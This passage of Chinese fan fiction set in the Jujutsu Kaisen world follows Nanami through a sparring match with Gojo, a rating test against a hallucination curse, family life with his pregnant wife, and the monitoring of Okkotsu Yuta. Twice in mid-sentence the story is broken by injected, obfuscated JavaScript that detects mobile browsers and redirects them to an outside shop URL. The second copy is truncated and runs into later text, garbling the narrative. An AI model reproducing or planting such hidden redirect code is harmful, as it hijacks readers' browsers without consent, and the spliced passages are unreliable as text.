“说起来,”五条悟歪了歪头,兴致很高的拍了拍身侧。“上次我们在这里对练是什么时候?三年级?那时候灰原还在,杰也……” 他的话突然停住了。 空气沉默了几秒。 七海推了推眼镜,没有说话。 那些记忆像老照片一样在脑海中闪过。 “啊哈哈,过去的事就不提了!”五条悟突然又恢复轻快的语气,拍手打破沉默,“总之,今天要先让前辈来看看你现在的水平!来切磋一下吧,娜娜明!” 几乎是同时,训练场边缘的围观吃瓜群众也到了——顺平、真希、熊猫和狗卷,四人整整齐齐地站在场边。 显然是五条悟“通知”他们来的。 “悟,你要和七海先生打?”熊猫睁大眼睛。 “是‘指导战’啦指导战~”五条悟笑嘻嘻地说,“顺便让小朋友们来观摩学习,什么是一级咒术师的实力!而且顺平你姨夫他当年可是保持过单日黑闪发动次数记录的狠角色哦!是吧?娜娜明~” 真希抱着胳膊,但眼神明显认真起来:“黑闪记录?” “大芥!”狗卷在本子上快速写下:【超级想看!】 顺平紧张地握紧拳头,明显想到五条老师和他们平时演示时海量的咒力:“姨夫……” 七海看了他们一眼,然后转向五条悟,非常平静:“点到为止?” “当然~老师我现在可是很温柔的!”五条悟说着,已经摆出了金鸡独立的姿势,“来吧七海,让我看看这些年你有没有退步!” 七海没有回答。 只是平静地解开西装外套的扣子,然后从内侧抽出了咒具。 铊刀封条上的咒文在咒力注入的瞬间泛起淡蓝色的微光。 “哦呀?还是老搭档啊。”五条悟笑了,勾了勾手指“你的‘十划咒法’配这把铊刀,可是绝配呢。” 七海动作不快,但每一步都非常精准。 黄色的身影在训练场上划出笔直的轨迹,咒具带着破风声直刺五条悟的胸口。 五条悟没有躲。 只是随意地抬手,掌心前方浮现出无形的屏障。 “太客气了哦,娜娜明。”他笑着说。 攻击这才开始。 七海手腕一转,咒具突然改变轨迹,厚重的刀身以不可思议的灵巧横扫五条悟下盘。 同时,左手已经凝聚咒力,朝着五条悟的侧腹击去—— “砰!” 拳头再次被“无限”挡住。 但七海的表情没有丝毫变化,一切都在预料之中。 “这才像话嘛~”五条悟眼睛一亮,“体术也完全没退步!那么接下来……” 他突然消失,出现在七海身后。 一记手刀迅速地劈下。 七海没有回头反手一刺,刀尖精准预判指向五条悟落下的攻击轨道。 “你也还是老样子。” “切——”五条悟再次瞬移。 他出现在训练场另一侧,拍了拍没反应过来的熊猫脑袋“看到没?你们几个,这个计算能力……” 然后他瞬间冲了上去,绷住身体认真起来。 拳拳到肉,操场上沙土和石粒四溅。 观战的四人被呛得不行,被迫离开现场,躲到视野开阔的树上,四人挂在树上排排坐。 这边,七海将咒力集中在双眼,视野中的世界瞬间被重新分割——这就是他的术式“十划咒法‘瓦落瓦落’”,能将目视目标强制分割出弱点,制造出“7:3”的强制分割点。 他看到了。 在五条悟周围的空间中,有数个淡金色的点浮现。 那些就是术式标记出的分割点,是“绝对会命中”的位置。 “看到了?”五条悟似乎能感知到他视线的变化。 七海再次突进,这次速度明显提升。 咒具在手中旋转半圈,从正握改为反握,刀身上的咒文封条光芒大盛—— 第一击,刺向左侧第三个分割点。五条悟微微侧身。 第二击,刀身横扫,封死闪避路线后直取右腹弱点。 五条悟后退半步。 第三击,七海突然变招,刀背砸向地面——制造震动和尘土,扰乱视线。 七海面无表情,毕竟要有自知之明,以他的实力不可能伤得到这位最强,但至少输的可不能太难看啊,毕竟是在孩子面前。 场边,顺平看得呼吸都屏住了。 没有华丽的招式,没有夸张的动作。那身黄色西装在战斗中翻飞的身影,每一次劈砍带起的风声,还有姨夫脸上始终不变的冷静表情,组合成一种令人心悸的性张力。 那是成年男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154102|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性经过岁月磨砺后的沉稳力量,是每一步都踏在计算之上的掌控。 是他一直向往成为的可靠大人! “好……好厉害……”熊猫小声说,眼睛瞪得圆圆的,“那身西装完全不影响动作吗?” 真希眯起眼睛,握紧了自己的咒具:“不只是厉害。他的呼吸节奏——从开始到现在完全没有乱。不是单纯的体术,是战术。” “明太子!”狗卷给顺平比了一个大拇指。你也可以成为像你姨夫一样的咒术师的!!我们接着加油吧顺平! “嗯!!”顺平狠狠点头。 就在这时,七海在连续攻击后猛地撤两步,伴随着收缩精密的咒力。 “要来了嘛~”五条悟的声音里带着期待。 七海深吸一口气,咒力输出在瞬间提升到另一个层级,拳头挥动时周围的空间开始扭曲,黑色的电光在拳头上跳跃、缠绕—— 黑闪。 这一击避开了所有分割点——因为黑闪本身,就是“绝对会命中”的暴击。 五条悟抬起手,迎了上去。 两人击中的瞬间,整个训练场剧烈震动。 冲击波呈环形扩散,地上的尘土、樱花残瓣全被卷起,场边的学生们不得不抬手挡住扑面而来的风压。 烟尘缓缓散去。 五条悟还站在原地,完好无损,笑得极其灿烂。 “漂亮!太赞了!七海!”他收回手,啪啪地鼓掌,“离开这么多年,还能稳定打出黑闪!而且这个威力……你当年那个单日记录,看来不是偶然啊!” 七海收起了咒具,呼吸有些急促,额角渗出细密的汗珠,但表情依然平静如常。 黄色西装的各处都有轻微的撕裂。 “只是基础。”他说,并不在意。 “这可不是基础哦。”五条悟走到他面前,拍拍他的肩,“黑闪是咒力控制的极致体现。能稳定打出黑闪的咒术师,全日本也没几个。而你……” 他转头看向场边的学生们,“七海他啊,曾经在一次紧急任务中,单日发动了四次黑闪。那个纪录到现在还没被打破。” 顺平倒抽一口凉气。 四次?单日? 真希的眼神燃起了火焰,顶着两个大字“想学”。 七海整理了一下西装领口,看向五条悟:“切磋结束了。评级测试的事……” “啊对,正事正事~”五条悟从口袋里掏出一张纸,“总监部已经批了。测试地点在埼玉的废弃医院,目标是二级咒灵。辅助监督已经在路上了。” 他凑近七海,压低声音:“不过七海,那个咒灵有点特殊。它擅长制造幻觉,而且是针对个人弱点的幻觉。你要小心。” “明白。”七海点头。 “那么,测试时间现在就可以开始,不过嘛──争取晚点结束。我会在山下等你的好消息~让我偷个懒翘个班嘛?”五条悟笑嘻嘻地说,“对了,你们要不要一起去?可以观摩学习哦!” 顺平眼睛一亮,但七海先开口了:“不行。测试期间只能有辅助监督在场。” “切,七海好严格~”五条悟撇嘴,“那就算了。你们几个,该训练训练去!别偷懒!” 真希转身就走,但走了几步又回头看了七海一眼。 熊猫和狗卷也跟了上去。 顺平走到七海面前:“姨夫,加油啊。” “嗯。”七海拍拍他的肩,“你也是。晚上回来我检查检查淀月的训练成果。” “是!” 55. 评级任务 埼玉县某废弃医院。 辅助监督田中是个三十岁左右的秃头男人,戴着黑框眼镜,手里拿着记录板和特制摄像机。 看到七海下车,他微微鞠躬:“七海先生,我是本次测试的辅助监督田中。请多指教。” “请多指教。”七海简短回应,同时观察着眼前的建筑。 废弃医院有五层,外墙斑驳,窗户大多破碎。 咒力残秽很浓,从三楼某个位置源源不断地散发出来。 确实是二级咒灵的水平,正如五条悟所说,咒力有些特殊。 “咒灵在三楼妇产科区域。”田中调出平板上的数据,“能力是制造幻觉,尤其擅长针对医疗相关的恐惧。已有三名受害者,都是在这里进行城市探险时中招的。” “其他数据呢?” “检测高频音波对它有一定干扰,但效果有限。”田中推了推眼镜,“另外,据亲历者的口述判断,它的幻觉似乎会根据目标的记忆和情绪进行调整。请您务必保持冷静。” 七海点头,迈步走进建筑。 一楼大厅堆满了废弃的家具和医疗器材。 灰尘在从破碎窗户透进来的阳光中飞舞。 七海能听到声音——很轻微,像是远处传来的哭声和呻吟。 他巡视一圈确认没有其他问题后,才上楼。 楼梯间的墙壁上满是涂鸦,有些已经褪色。 经过二楼儿科区时,那些声音变大了。 婴儿的哭声,孩子的尖叫,家长的安抚声…… 七海不为所动。 他经历过比这更糟的幻觉。 特级咒灵的领域,同伴临死前的呼喊,那些无法祓除的绝望——和那些相比,这简直温和。 三楼,妇产科。 走廊尽头的手术室门半开着。 里面传来清晰的声音: “血压下降!” “快输血!” “胎儿心率不稳定!” 是急救的声音。 七海推开门。 手术室里空无一人。 只有生锈的手术台,倒下的输液架,散落一地的医疗垃圾。 但幻觉还在继续。 他看到一个模糊的女性身影躺在手术台上,听到医护人员焦急的喊叫,闻到血腥味和消毒水的混合气味—— 然后,那个女性身影突然清晰了。 是悠。 七海的呼吸停滞了一瞬,脸色瞬间阴沉下来。 手术台上的悠脸色苍白,额头满是汗水,手紧紧抓着床单。 她的肚子高高隆起,但下方已经染红了一片。 “医生……救救我的孩子……”她虚弱地说,眼睛看向七海的方向,“七海海……我好痛……” “大出血!准备剖腹产!” “不行,产妇生命体征不稳定!” “保大人还是保孩子?!” 声音在耳边炸开。 七海看到“悠”的眼睛渐渐失去神采,看到监护仪上的曲线变成直线,看到医护人员开始做心肺复苏—— “蠢货。” 七海的声音很轻,但冰冷刺骨,不知道是再说那个隐藏身影玩弄人心的咒灵还是其他人。 他闭上眼睛,用咒力感知代替视觉。 黑暗中,左侧角落有一团扭曲的黑影正在剧烈蠕动——它在兴奋,在吸食他此刻爆发的负面情绪。 愤怒。恐惧。还有……杀意。 七海睁开眼时,那双总是平静的眼睛里燃起了冰冷的火焰。 咒具上猛地燃起无风自动的蓝色咒力波动,缠绕刀身的咒文封条如同活过来般流动。 他没有冲向咒灵,而是走向手术台——伸手触碰了冰冷的金属支架。 “你很聪明。”他对着空气说,声音平静得可怕,“知道用我最在乎的人来攻击我。” 咒灵发出得意的嘶嘶声,幻觉中的“悠”开始抽搐。 “但是,”七海停下动作,铊刀在手中转了个刀花,“你犯了一个错误。” 他转身,视野中的世界瞬间被“十划咒法”分割。 咒灵的本体在角落显露出三个淡金色的弱点。 “你让我看到了绝对不能发生的事。”他说,“所以……” 下一秒。 黄色的身影如闪电般掠过手术室,厚重的刀刃精准地劈中第一个分割点。 咒灵发出惨叫。 反手横扫,刀背砸中第二处。 第三击,他双手握刀,举过头顶,咒力在瞬间凝聚到极致,黑色的电光再次缠绕刀身—— 是黑闪。 这一次的黑闪,带着纯粹的怒火。 刀身劈开空气,直接劈开了咒灵隐藏在后面的防御。 幻觉彻底崩溃,手术台、医护人员、“悠”的身影都像破碎的镜子一样四散消失。 咒灵的本体暴露出来——一团蠕动着的、布满眼睛的肉块。 七海站在它面前,刀尖指着它的眼睛,冰冷的刀锋划过。 “垃圾。” 一刀刺下。 咒灵在无声的惨叫中彻底消散,只留下一地喷溅的黑色的残秽。 整个战斗过程,一分四十六秒。 七海收起咒具,深呼吸三次,每一次呼吸都刻意拉长、加深,让眼中的怒火渐渐平息,让心跳恢复正常频率。 然后,拿出手机,给悠发了条消息: 【评级测试结束了。一切顺利。悠,我现在回家了,一会想吃什么?】 几乎是秒回:【太好了!在家等你~想吃街边的草莓可丽饼】 【驳回,垃圾食品对身体无益,而且你这周已经偷吃三回过冰淇淋了。】 【嗯?我明明都很小心啦!】 【别以为藏在垃圾袋里就看不出来,毁尸灭迹的前提是最后一步垃圾也要自己处理,和小孩子一样】 【那宝宝说想吃嘛~】 【那是你自己馋嘴,回家我给你做。只能吃一个。】 【我就知道!!!七海海最棒了!全世界最好的老公大人!!超级爱你!!】 看着那个直白的表白,七海紧绷的嘴角放松的勾起弧度,宠溺的对着手机屏幕看了又看。 时间差不多了,他收起手机,走出手术室。 田中站在走廊里,手里的监测设备发出“滴滴”的提示音。 “咒……咒灵已祓除。”田中说话有点结巴,“用时三分四十六秒。咒力输出峰值……达到二级标准的三倍。黑闪发动一次,威力评级A+。评级测试,优秀通过。” 他看向七海的眼神里多了尊重。 刚才那股爆发的咒力,绝对是一级咒术师的等级,而且是经验丰富、实力强悍的那种。 “辛苦了。”七海平静地说,仿佛刚才什么都没发生,“报告麻烦你了。” “是、是的!您才是……辛苦了!” 时间充足,去超市买做可丽饼的食材,再买点鸡肉,晚上给悠煲一盅汤。 他坐上车,没有立刻发动。 而是拿出手机,看着屏保上的照片——是上周产检时悠拿着B超照开心的红了眼眶,照片里面宝宝的小手好像在挥手。 幻觉里的画面又浮现在脑海。 悠苍白的脸,染红的床单,监护仪的直线…… 他握紧方向盘,闭上眼睛。 不会的。 他绝不会让那种事发生。 他会保护她,保护孩子,保护这个家。 这就是他为之活着的理由。 指针指到四刻钟。 悠听到钥匙开门的声音,扶着腰从沙发上转身。 七海走进来,手里拎着两个大布袋。 “欢迎回来~”悠笑着迎上去,亲了一下七海的侧脸“今天这么快呀?买什么啦?让我看看嘛~” “咒灵不强。”七海简单地带过,把布袋打开给她看,“买了些食材,晚上煲汤喝,这个是路过手工店看到的。” 悠脑袋探到七海怀里,布袋里面是一把小小的、原木色的手工福袋模型——手掌大小,打磨得极其光滑,没有一丝毛刺,福袋上还用烧烙工艺刻了细小的祝福咒文。 “这是……”悠睁大眼睛。 “给宝宝的。”七海说,“虽然是模型,但刻了安产和健康的祝福咒文。可以挂在婴儿车上。” 悠拿起木制福袋,眼眶突然有点发热。 她抬起头,看到七海脸上难得闪过一丝不自在。 “我觉得……很实用。”他推了推眼镜,“而且,可以辟邪。” “嗯。”悠用力点头,把它紧紧握在手心,“你一向这么可靠七海海。宝宝一定会喜欢的。你在……就是我们的依靠。我好高兴……” 她雀跃地拉着他的手走进榻榻米房间:“七海海,我们来看看可以挂在哪里。” 房间早已经打扫干净了,淡黄色的墙纸样品贴在墙上,窗边摆着几盆绿植。 阳光洒进来,整个房间暖洋洋的。 悠在房间中央比划,七海认真的听着,一刻也不愿意错过地盯着她的眼睛:“摇椅放这里,可以边摇边哄宝宝。婴儿床放那边,离窗户远一点。矮柜……” 她说自己的设想时整个人都在发光,七海安静地听着,偶尔提出建议。 “矮柜要做圆角。”他说,“避免宝宝磕碰到。” “对哦!”悠点头,“还有插座要加保护盖。窗帘要遮光好的……欸!七海海干嘛一直盯着我啦,脸上有什么吗?” 对上七海深邃的眼神,悠努力装作若无其事地看向一边,脸上泛起红晕,手作扇子轻轻扇动。 “悠。”七海声音里带着笑意,慢慢从后面环抱住她,温热的呼吸打在她耳边“你害羞了。” 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“今天……那个咒灵、会让人看到幻觉。”七海声音很轻,“它变成你的样子……看到那个画面的时候,我确实很生气,没有控制住。” “所以你把咒灵……” “祓除了。”七海说,“彻底的。” 悠盯着他看了很久,然后突然笑了。 她踮起脚尖,在他唇上轻轻亲了一下。 “我知道。”她说。 “什么?” “知道你在乎我。”悠靠在他怀里,“也知道你的心意。” 七海搂住她,手轻轻放在她隆起的肚子上。 宝宝在里面动了一下。 “我不会让那种事发生的。”他低声说,声音里有不容置疑的坚定,“我会保护你们。” “嗯。”悠点头,“我都知道。” 晚饭后,两人坐在沙发上。 电视开着,但谁也没看,悠靠在七海肩上。 “宝宝今天晚上动得特别多。”她说,“知道爸爸在家,特别兴奋。” “可能是你下午活动多了。”七海客观地说,“以后打扫之类的事,等我回来做。” “知道啦,我偶尔也是运动一下的嘛。”悠笑着,“七海海,你明天有安排吗?” “上午要去趟高专,领一下证件。之后就没事了。” 悠眼睛一亮:“那下午我们去买婴儿床?我看到一家店,有原木的无漆款,感觉很棒。” “当然。”七海点头,“但不能逛太久。两小时以内。” “是是是,孕妇不能太劳累。” 这时,七海的手机震动,是五条悟的消息: 【恭喜通过测试!一级咒术师七海建人正式回归!??总监部的文件下周正式下发,这期间你可以接三级及以下的任务。另外……】 下面附了一个任务链接。 七海点开。 是仙台市的定期巡查委托,一个月一次,报酬不错,时间自由。 但任务说明里有一行小字:“巡查区域包括仙台市立中学附近,请留意异常咒力波动。[注:监管异常对象在校生乙骨忧太]”附上照片。 “怎么了?”悠问。 七海把手机递给她看。 悠看完搜了一下距离:“唔……仙台……有点远呢?” “新干线两小时。”七海说,“可以早上去,晚上回。或者住一晚。” “看起来还比较稳定,应该没有什么危险?七海海你呢?怎么看?” “可以接。”七海说,“定期巡查类任务比较安全。而且……” 他顿了顿:“其实仙台那边任务主要是针对特殊对象的观察。但不是危险任务。” 悠点头,表示了解:“那每次去都要报平安,如果住宿,下班休息时间打一下视频嘛,我会想你的。” “一定。” 七海回复了五条悟,接下了这个长期委托。 几乎答应的同时,又一条消息进来——第一次巡查定在下周三。 窗外,夜色渐深。 在仙台,乙骨忧太正坐在房间里,对着空气小声说话:“里香,今天感觉好多人看着我们……有点害怕。” 空气中有无形的存在轻轻环抱住他,像是在安慰。 总监部,几个老人正在翻看田中的测试报告:“一击黑闪,威力评级A+……咒力输出远超二级水平。” “这个七海建人,实力比我们预想的要强得多。当年那些记录,看来不是偶然。如果能为我们……” “窗那边说他现在有家庭牵绊,娶了个普通女人,有了孩子,而且离开咒术界七年……” “先观察吧。仙台的任务让他去,正好可以看看他对‘那个特级’的反应。” 56. 仙台初巡 周一清晨。 七海站在玄关的落地镜前,最后一次调整领带结。 他检查了昨晚悠塞得满满当当的随身装备:应急医疗包里有特制的止血凝胶和镇痛贴片,还有各种奇奇怪怪得管制刀具。 七海无奈的把这些爱的具现重新按顺序整理好,一些无用的小挂件他也放进口袋,没说什么。 悠从卧室走出来,手里还拿着他的手机充电器:“七海海,你昨晚忘记充电了。” “还好你帮我记住。”七海接过,把它放入公文包侧袋——那里还装着仙台的地图、巡查点坐标打印件,以及一份他自己整理的“三级及以下任务风险评估表”。 悠看着他一丝不苟的动作,轻声嘟囔:“仙台好远。” “新干线两小时十三分。”七海报出时间,揉弄悠睡醒后凌乱的头顶“巡查五个点位,预计耗时四小时,加上往返交通,晚上七点前能到家。” “有种比公司上班更忙的错觉?” “放心。”七海语气温柔,他知道孕期的悠比以往更敏感多虑,只是安慰“五条前辈可是特意标注我只要留意‘异常咒力波动’。这意味我只负责侦查,做好报告就可以了,我会准时回家的。” 他停顿了一下,“如果评估风险超过等级,我会立即撤离并上报。” 悠这才松了一口气,在七海怀里轻轻的蹭了一下,七海下巴顶在她头顶轻轻的,却很有份量,很安心。 他不是胆小,而是一个在咒术界工作过七年的前一级咒术师,一个见证过任务等级混乱导致伤亡的成年人,一个现在有妻子和未出生孩子的男人,所做出的最理性判断。 “我以前在公司时,”七海难得带了点调侃,“单日最高收入是七万八千日元。现在一个三级巡查任务的报酬是十二万。效率提升53.8%。而风险系数,根据我过去六个月对任务档案的分析,三级任务的伤亡率是0.7%,二级是4.3%,一级是11.2%。” 他看向悠:“没必要冒不必要的风险。这是我的判断。因为有我重要的人在家里等我,这是我不得不回去的理由。” 悠踮脚亲了亲他的脸颊:“早点回来。宝宝和我都会想你。” “一定。” 高专医务室。 五条悟翘着二郎腿坐在诊察床上,手里翻着一本厚得离谱的产品目录。 家入硝子靠在药品柜旁抽烟,一脸“你又来干什么”的表情。 “所以——”五条悟啪地合上目录,“孕妇到底需要什么啊?我看网上说补叶酸、补铁、补钙,但是悠酱是普通人吧?普通人孕妇和咒术师家属孕妇有什么区别吗?” 硝子吐出一口烟:“生理上没区别。心理上……可能更需要安全感。” “安全感!”五条悟一拍大腿,“这个我熟!送保险?不不,有种不好的寓意。送个帅气保镖?七海会杀了我……” 硝子叹了口气:“你就不能送点实用的?” “我在想很实用的啊!”五条悟从口袋里掏出手机,划出一张图片,“你看这个,瑞士进口的营养套装,每天一包,含二十八种微量元素。” “……” “还有这个!”他又划出另一张,“防辐射孕妇服,采用航天材料,可以屏蔽99.7%的电磁辐射,而且透气性超好。” 硝子按灭了烟:“你非要送这么贵的东西?而且悠快临产了吧?” “贵才显心意嘛~”五条悟咧嘴笑,“而且七海现在不是只接三级任务嘛,收入肯定没以前多。作为前辈,照顾一下后辈的家庭开支,很合理吧?” 硝子盯着他看了几秒:“你其实……挺为他们高兴的吧。” 五条悟的笑容顿了顿,然后变得更灿烂了:“当然啦!七海那家伙,以前总是一副‘劳动就是狗屎’的厌世脸,现在居然会为了早点回家推掉二级任务。这不是超有趣的嘛!” 他跳下诊察床,开始在硝子的办公室里踱步:“不过说真的,我不会去劝他接高级任务。当年灰原那事……还有那些没背景的野生咒术师,我都记得。他能找到自己的点,我……为他感到高兴。” 硝子从抽屉里拿出一张便签,写了几行字递过去:“加上这些。孕妇枕、低敏护肤品套装、还有预约顶级私立医院的产检套餐——这个我有人脉,可以打折。” “硝子你果然是靠谱的成年人!” “闭嘴。”硝子又点了支烟,“还有,别去问人家是男孩女孩,很失礼。” “诶——那问问能不能让我当干爹总可以吧?”五条悟戴上他那副小圆墨镜,笑得贱兮兮的,“想象一下,娜娜明的孩子叫我‘五条干爹’……哈哈哈哈他表情一定超精彩!” 硝子懒得理他,继续写清单:“礼物寄过去的时候,别写那些乱七八糟的贺卡。正常点。” “知道啦知道啦~” 另一边。 顺平第三次被熊猫拍倒在地。 他爬起来,抹了把脸上的汗,呼吸已经乱了。 “还是不行……”他盯着自己的手,“我明明计算了角度和距离,为什么……” “因为你算太多了。”真希的声音从场边传来。 她放下手中的咒具,走进场地,“战斗不是数学题。你姨夫那种精密度,是建立在过去十多年实战经验和特定术式上的。你呢?你才训练几个月,术式还是召唤型。” 顺平咬了咬嘴唇。 他知道真希说得对,但看到七海那种行云流水的战斗方式,那种每一步都踏在最优解上的精准,让他产生了某种向往——如果自己也能那么“正确”地战斗,是不是就能更快变强?是不是就能少犯错误? 熊猫走过来,毛茸茸的爪子搭在他肩上:“顺平啊,你看我战斗的时候会计算吗?” “……不会。” “对啊!我就是靠本能和咒骸的身体素质!”熊猫拍拍胸脯,“每个人战斗方式都不一样。狗卷靠言灵,真希靠体术和咒具,七海先生靠体术和术式配合。你得找到你自己的‘节奏’。” “大芥!!”狗卷拎着沙袋走过来。 多角度、持续压制。顺平的淀月可以做到。 顺平看向自己身后漂浮的淀月。 淀月的触手在空气中轻轻摆动,顺平在过度思考时,它会出现无所事事的状态,不知道要做什么。 “我试试……不想那么多。”顺平深吸一口气,重新摆开架势。 他看着对面的假人,给淀月下达了一个简单的指令:困住它。 下一秒,四条触手同时射出。 如同活物般的缠绕——一条缠颈,两条缠臂,一条缠腰。 假人被瞬间束缚,挣扎的余地都没有。 顺平愣住了。 刚才那一瞬间,他没有“想”。 他只是“要”,淀月就做到了。 “有点样子了。”真希点头,“但还不够。式神用到极致的精髓是‘同步率’。你要达到的境界是,你想什么,它做什么,中间没有延迟。” 她指向训练场另一头:“这么精神,那从今天开始,你每天加练两小时。让淀月模仿你的动作,你再模仿它的节奏。等你们能像左右手一样配合,再谈战术。” 顺平用力点头。 他看向淀月,第一次觉得这个从童年阴影中诞生的式神,或许真的有无限可能。 上午十一点,仙台市立中学附近。 七海站在一家便利店的屋檐下,手里拿着杯咖啡,目光扫过街对面的学校大门。 午休时间,学生们三三两两地进出,喧闹声隔着街道传来。 辅助监督坐在路边的车里,假装看手机,实则监控着周围的咒力波动。 “七海先生,”耳机里传来她的声音,“探测仪显示学校范围内有持续的低强度咒力源,浓度在2-3单位之间波动,但结构非常稳定……稳定得不像自然生成的咒灵。” “继续监测。”七海啜了口咖啡。 在这个学校教学楼的某处,有一个“核心”。 咒力从那个核心散发出来,如同呼吸般规律,却又庞大得令人心悸。 是任务报告里──特级咒灵祈本里香,以及她所附身的少年乙骨忧太。 中午人流渐散,一个穿着校服的瘦弱少年从校门走出来,低着头,脚步很快。 他手里提着便当袋,走向学校后方。 七海走出咖啡馆,保持着安全距离跟了上去。 公园的长椅上,乙骨忧太独自坐着。 他打开便当盒,却没有立刻吃,而是对着空气小声说了些什么。 从他的口型,七海读出了那个名字:“里香”。 空气中有看不见的存在给出了回应——咒力的轻微扰动,像一只手轻轻抚摸少年的头发。 但仅仅是这样克制的互动,他也能感受到从乙骨忧太身后粘腻的蓬勃咒力,是让人不自觉发颤,如果蚂蚁看到大象的震撼。 七海推了推眼镜,很快回神,在手机里记录: 【观察对象:乙骨忧太,仙台市立中学二年级。】 【行为:独处,与不可见存在(推测为特级过咒怨灵祈本里香)进行单向交流。】 【咒灵里香呈现守护性姿态,无攻击意图,未显露身影。】 【风险评估:目前为安全等级。但咒灵规模为特级,一旦失控后果严重。建议维持现状,持续观察,尽量稳定乙骨忧太的情绪。】 他停顿了一下,又补充: 【备注:对象疑似遭受校园孤立(午休独处,回避人群),此为社会性风险因素,可能影响情绪稳定性。需着重关注。】 七海收起手机。 他看到乙骨吃完便当,收拾好餐盒,不经意的低语,然后起身走回学校。 整个过程里,那个无形的存在一直环绕在他身边,如同最忠诚的护卫。 他没有对乙骨忧太表露出特殊,引起注意,那个咒灵的关注点全部都在那个孩子身上,哪怕对有咒力的虫子也不屑施舍眼神。 这就是五条悟说的“大惊喜”——一个被特级咒灵深爱并保护的少年。 矛盾的存在,潜在的灾难,也是……某种悲哀的奇迹。 七海想起五条悟昨晚的电话: “七海啊,那孩子的情况很特殊。里香是诅咒,但也是保护。我不想让高层那些老头子知道,他们会怎么处理?强制死刑?切片研究?直接定义为‘需要祓除的异常’?” “所以你让我来监视。” “是观察,不是监视。”五条悟难得用了认真的语气,“确保他安全,确保里香不暴走。如果有失控迹象……我们要在高层发现前处理掉。但我觉得,那孩子能控制住。因为他不是被诅咒,他是被爱着。” 爱。 七海看着乙骨消失在教学楼里的背影。 用诅咒的方式表达的爱,终究是扭曲的。 但那个少年接受这份扭曲,依赖这份扭曲,甚至可能……珍惜这份扭曲。 他回到车上,中村递过来平板电脑:“五个巡查点都完成了,咒力残秽均在正常范围。报告怎么写?” 七海接过平板,迅速浏览数据:“如实记录。但学校附近的异常咒力波动……标注为‘疑似地脉自然积聚’,建议每月复查。” “明白。”中村犹豫了一下,“七海先生,那个波动真的只是地脉问题吗?结构太稳定了……” “按我说的写。”七海没有解释,“有些事情,知道得太清楚反而不安全。” 这是他对年轻辅助监督的保护。 总监部的水太深,一个没有背景的辅助监督,知道的越少越好。 回东京的新干线上,七海收到五条悟的消息: 【礼物寄出啦~记得让悠酱签收!顺便帮我问问,我能不能当干爹啊?(期待脸)】 七海面无表情地回复:【不能。】 五条悟:【切~小气!那至少告诉我男孩女孩嘛!】 七海:【我也不知道。不重要。】 五条悟:【怎么会不重要!关系到我要买蓝色还是粉色的小衣服啊!】 七海:【买黄色。中性。】 五条悟:【……你这个人真的好无聊哦!不过算了,看在你今天辛苦跑仙台的份上,不跟你计 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他把孕妇服拿出来看了看:“面料确实不错。防辐射功能虽然有点晚了,但对日常电磁波有防护作用,可以穿。” “那干爹的事……” “拒绝。”七海斩钉截铁,“他会教坏孩子。” 悠忍不住笑了,吃醋的七海。 她想起五条悟那些离谱的行为和抽象的笑话,突然觉得……如果孩子真有个这样的干爹,或许童年会很有趣? 晚餐后,七海抽空去了趟高专。 顺平还在训练场。 “姨夫!”看到七海,顺平停下来,额头都是汗,但眼睛很亮。 “继续。”七海走到场边,“让我看看你们的搭档。” 接下来的二十分钟,七海纠正了两个细节:一是呼吸节奏与咒力输出的配合,二是视线引导与式神攻击方向的协调。 他没有教复杂的战术,只强调基础。 “式神使最大的优势,是‘多一个人战斗’。”训练结束后,七海说,“但很多人把这个优势用成了劣势——他们让式神做所有事,自己站在原地指挥。这是错误的。同步攻击时不要让人看出目的。” 他指了指顺平:“你要把自己也当成战斗单位。淀月从左边攻击时,你从右边逼近。它控制对手动作时,你找机会致命一击。你们是搭档。” 顺平认真点头。 他今天真切地感受到了同步带来的变化——那种“不用说话就知道对方要做什么”的默契。 离开训练场时,熊猫正好从任务调度室出来,看到七海,挥了挥爪子:“七海先生!今天又来看顺平啦?” “嗯。” “那个……”熊猫凑过来,小声说,“我刚才帮忙整理任务档案,看到您的记录……您真的只接三级任务啊?” 七海推了推眼镜:“有问题吗?” “没没没!”熊猫赶紧摇头,“就是觉得……很明智。五条老师说,这才是成年人的智慧,知道自己为什么而战,为谁而活。” 七海没有回应,但脚步顿了顿。 悠靠在沙发上睡着了,手里还拿着那件防辐射服的产品说明书。 电视小声播放着晚间新闻,茶几上放着洗好的草莓和一杯温牛奶。 七海轻轻关掉电视,把毯子盖在悠身上。 然后他坐在旁边的单人沙发上,拿出手机,调出今天在仙台拍的几张照片——不是乙骨忧太,是学校周围的环境照片,用来补充巡查报告。 他翻到其中一张:公园长椅,空荡荡的,但地上有细碎的樱花花瓣,被风吹成一个不自然的圆形,像是有什么看不见的存在曾坐在那里。 特级咒灵与孤独少年。守护与诅咒。 爱与被爱。 七海保存了照片,在标注栏写下:【现状稳定,建议每周观察不低于三次。】 然后他打开另一个文件夹,里面是婴儿房的装修方案、待购物品清单、以及孕妇护理注意事项——每一条都认真标注。 手机震动了一下,是五条悟的消息: 【礼物收到了吧~怎么样,前辈我是不是超贴心?】 七海回复:【嗯。谢谢。】 五条悟:【哇!七海居然说谢谢!我要截图留念!】 七海:【……】 五条悟:【不开玩笑了。仙台那边,继续拜托你了。那孩子……我想让他至少再过一段正常生活。】 七海:【明白。】 放下手机,七海看向熟睡的悠。 他把手搭在她的手上,目光专注的看着她的睡颜。 他们的孩子——一个会在这个有咒灵、有诅咒、有各种不合理的世界里出生的孩子。 他会保护他们。 明天,巡查报告要提交。 明天,顺平的训练计划要调整。 明天,乙骨忧太会继续他孤独的校园生活。 而明天,他会继续用他的方式,守护所有他珍视总有的日常。 57. 女孩 大概是在五月末。 